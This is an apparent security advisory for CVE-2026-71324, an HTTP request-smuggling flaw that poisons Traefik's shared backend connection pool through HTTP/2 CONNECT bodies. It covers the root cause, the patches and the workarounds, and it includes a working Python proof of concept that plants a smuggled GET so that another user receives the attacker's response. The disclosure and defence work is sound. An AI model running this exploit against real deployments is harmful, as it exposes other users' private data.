highCVE-2026-71324Aug 6, 2026

CVE-2026-71324: Traefik HTTP/2 CONNECT Pool Poisoning Cross-User Response Smuggling

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Traefik lets an unauthenticated attacker smuggle a raw HTTP request inside an HTTP/2 or HTTP/3 CONNECT body, poisoning the shared backend connection pool so a different user receives the attacker's…

Packagegithub.com/traefik/traefik/v2
Ecosystemgo
Affected<= 2.11.52
Fixed in2.11.53
CVE-2026-71324: Traefik HTTP/2 CONNECT Pool Poisoning Cross-User Response Smuggling

The problem

Traefik's default reverse proxy (httputil.ReverseProxy over a shared net/http.Transport) forwards any HTTP/2 or HTTP/3 CONNECT request, including its body, to an HTTP/1.1 upstream without restriction. The body is written to the backend socket unframed, with no Content-Length and no Transfer-Encoding.

When the upstream returns a keep-alive non-2xx and does not drain the body, it interprets the trailing bytes as a pipelined request. Go's net/http then returns the desynchronized socket to Traefik's shared idle pool once the CONNECT body reaches EOF (H2/H3 half-close).

The next client to reuse that pooled socket reads the pending smuggled response instead of its own, potentially exposing another user's authenticated or private data.

The default sanitizePath: true option is not a reliable defense. It rewrites the target to CONNECT /, which causes Apache and nginx to close the connection, but Go net/http servers and gunicorn/Flask still answer with a keep-alive non-2xx, leaving the pool exploitable.

Proof of concept

A working proof-of-concept for CVE-2026-71324 in github.com/traefik/traefik/v2, with the exact payload below.

python
# Step 1: Attacker sends H2 CONNECT with a smuggled HTTP/1.1 GET as the body, then half-closes the stream.
# The raw bytes written as the CONNECT body become a pipelined request on the backend socket.

import httpx

SMUGGLED_BODY = (
    b"GET /delay/2?tag=ATTACKERSMUGGLED HTTP/1.1\r\n"
    b"Host: backend\r\n"
    b"X-Smuggled: released-v3.6.23\r\n"
    b"\r\n"
)

# Open an HTTP/2 CONNECT tunnel to Traefik (any path; sanitizePath rewrites to CONNECT /)
# httpx with http2=True will half-close (END_STREAM) after sending the body.
client = httpx.Client(http2=True, verify=False)

# Send CONNECT; the body is the smuggled GET above.
# Traefik forwards to backend; backend returns 405 keep-alive;
# net/http pools the socket; smuggled GET is now queued on the backend socket.
resp = client.request(
    "CONNECT",
    "https://traefik-host:443/",
    content=SMUGGLED_BODY,
    headers={"Host": "traefik-host"},
)

# Step 2: Victim sends a normal GET on its own connection.
# Traefik reuses the poisoned pooled socket.
# Victim receives the response to ATTACKERSMUGGLED, not its own request.
victim = httpx.Client(http2=True, verify=False)
victim_resp = victim.get("https://traefik-host/get?tag=VICTIMOWN")
print(victim_resp.json())  # body contains tag=ATTACKERSMUGGLED and X-Smuggled header

The root cause is that net/http writes a CONNECT body unframed (no Content-Length, no Transfer-Encoding: chunked) and pools the backend socket after a keep-alive non-2xx response, once the request body reaches EOF. H2/H3 half-closing the CONNECT stream triggers that EOF while keeping the client connection alive, so the backend socket is pooled with a queued pipelined response still pending on it.

The patch applies three fixes together. PR #13542 defers forwarding the CONNECT body until the backend confirms the tunnel with a 2xx, so a non-2xx path never writes the smuggled bytes. PR #13556 marks CONNECT connections so they are never returned to the shared idle pool.

PR #13543 discards the CONNECT body in the ForwardAuth middleware, which suffered the same issue via forwardBody: true.

This is CWE-444 (Inconsistent Interpretation of HTTP Requests). The backend parses the unframed body as a pipelined request; Traefik's proxy believes the transaction is complete and recycles the socket; the next borrower reads the pending pipelined response as its own.

The fix

Upgrade to Traefik v2.11.53, v3.6.24, or v3.7.9. As a workaround, set maxIdleConnsPerHost: -1 in the ServersTransport to disable backend connection pooling, or route only to backends that close the connection on CONNECT (Apache httpd with default config, nginx).

Disabling HTTP/2 and HTTP/3 on the frontend entrypoint also prevents exploitation since HTTP/1.1 CONNECT bodies cannot reach EOF without closing the connection.

Reported by rtribotte.

References: [1][2][3][4][5][6]

Related research